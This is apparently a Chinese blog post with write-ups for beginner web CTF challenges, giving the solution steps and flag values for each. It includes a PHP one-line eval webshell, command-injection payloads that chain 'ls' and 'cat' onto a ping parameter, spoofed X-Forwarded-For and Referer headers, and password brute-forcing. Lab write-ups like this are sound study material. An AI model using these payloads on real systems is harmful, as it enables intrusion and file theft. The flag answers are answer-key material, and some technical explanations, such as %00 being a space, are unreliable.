robots

看了题目描述,发现与robots协议有关,过完去百度robots协议。发现了robots.txt,然后去构造url访问这个文件
 http://111.198.29.45:42287/robots.txt
得到提示:Disallow: f1ag_1s_h3re.php,再次构造url,访问这个文件。

http://111.198.29.45:42287/f1ag_1s_h3re.php
成功得到flag:cyberpeace{bffdd8b6fd5db04fd274822c68d5fadb}

backup

进去题目后,看到提示与index.php的备份文件有关,想起index.php.bak,果断构造url访问文件。
 111.198.29.45:58119/index.php.bak
下载文件后,使用记事本打开,即可得到flag:cyberpeace{d7646fa539c6b115deef155a73830462}

cookie
看到题目和cookie有关,果断按下F12查看cookie,发现了cookie.php,构造url去访问
http://111.198.29.45:33679/cookie.php
得到提示:See the http response
然后再网络请求的消息头里面看到的flag:cyberpeace{2c2587a68a1db6c2a413631531030da1}

disabled button

看到一个flag按钮,但却无法点击。觉得应该和参数的设置有关,F12改下参数,把下面位置的disabled更改为able,

再次点击flag按钮,即可获得flag:cyberpeace{0ca54cb222b4d649d8e193467f5c8f52}

simple js

看题目觉得这应该是一道关于js的题目,因为没怎么学过js,心里小发慌。查看网页源代码。

其中pass为假密码,可以看到无论输入什么都会返回这个假密码,真正的密码在:javascript String"fromCharCode"; - 用python处理一下:

s="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"

print (s) - 得到` 55,56,54,79,115,69,114,116,107,49,50

s=[55,56,54,79,115,69,114,116,107,49,50]

for i in s:

print(chr(i),end='')

- 得到 786OsErtk12

xff referer:

看到题目觉得应该和XFF有关,进去后要求IP地址必须为123.123.123.123,使用burpsuite伪造XFF:X-Forwarded-For:123.123.123.123

go之后又要求innerHTML="必须来自https://www.google.com",再伪造Referer:Referer:https://www.google.com

go之后得到flag:cyberpeace{e9f742dcdb07a05638f0c004c4a27368}

weak auth:

进入后看到一个登陆框界面,试着随便输入一个账户密码,提示输入admin,然后再源码里发现“./check.php”,点进去发现提示:maybe you need a dictionary,利用burpsuite选择一个字典进行爆破。爆破出密码为123465.

输入正确密码得到flag:cyberpeace{5469437256d685fbb6ba239b163bd400}

webshell

题目描述给出了php一句话的提示,进去题目后看到了<?php @eval($_POST['shell']);?>

发现连接密码为“shell”,用菜刀连接,发现flag.txt文件,里面包含flag。

command execution

这个题需要了解一些命令执行的知识:windows或linux下: command1 && command2 先执行command1后执行command2 command1 | command2 只执行command2 command1 & command2 先执行command2后执行command1

我们先在ping的输入框里随便输入一个地址,比如127.0.0.1,然后打开hackbar,发现它是通过target参数以post的方式提交的,我们构造target参数的值:

首先构造这个命令:target=127.0.0.1 | ls ../../../home,提交后会执行后面的“ls ../../../home”命令,发现含有flag.txt文件

然后我们构造查看home下flag.txt文件内容的命令:target=127.0.0.1 | cat ../../../home/flag.txt,即可输出flag:

simple php

一道代码审计的题,用到了知识点,一个是php弱等于,一个是%00截断。先看代码

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];    //get方式提交一个a
$b=@$_GET['b'];    //get方式提交一个b
if($a==0 and $a){    //如果a满足条件,数组flag的前一部分
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){    //如果b满足条件,输入flag的后一部分
echo $flag2;
}
?>

在判断语句里,要求a==0,并且a不为0;看到两个等号,想到php弱等于,这里可以让a=admin,在“==”判断是,admin会被转换成“0”,a满足天剑

然后是b,is_numeric这个函数要求b不能是数字,下面要求b大于1234,这里可以让b=2345%00,%00是空格的意思,这样b就不会被判断为数字,且大于1234,b满足条件。

构造url:http://111.198.29.45:40060/?a=admin&b=2345%00,即可得到flag。

对于is_numeric这个函数的绕过,还可以让b=2345a。即在后面加一个字母也可以。

(ps:本人太菜,若有错误的地方欢迎大佬随时责骂。。。。xixixii)

最新文章

  1. 重撸js_2_基础dom操作
  2. 坐标系统与投影变换及在ArcGIS桌面产品中的应用
  3. weed-fs参数列表
  4. PHP--------memcache技术
  5. 20145222黄亚奇《Java程序设计》第1周学习总结
  6. java2集合框架的一些个人分析和理解
  7. ecshop文章详情页显示浏览数
  8. 浅析IList与List的区别
  9. 我的Hibernate入门
  10. sql - 以半月,每月 分组
  11. Freemarker数字转时间
  12. 分布式一致性协议Raft原理与实例
  13. javascript 字符串处理
  14. RocketMQ_问题_启动报错,修改堆内存大小
  15. ASCII到Unicode到UTF-8
  16. 经过强制类型转换以后,变量a, b的值分别为( )short a = 128; byte b = (byte) a;
  17. VB6学习笔记
  18. 浅谈GIT
  19. ubuntu16切换hosts软件安装
  20. 《LeetBook》leetcode题解(6): ZigZag Conversion[E]

热门文章

  1. 线程池;java的线程池的实现原理;适用于频繁互动(如电商网站)
  2. getResources()方法
  3. docker ubuntu 不选时区
  4. [转]Nodejs开发框架Express4.x开发手记
  5. Ajax请求小结
  6. AY写给国人的教程- VS2017 Live Unit Testing[2/2]-C#人爱学不学-aaronyang技术分享
  7. 【windows】常见的系统环境变量,如%appdata%表示什么意思
  8. WPF Layout 系统概述——Measure
  9. Linux ssh密钥自动登录 专题
  10. SpringMvc 资料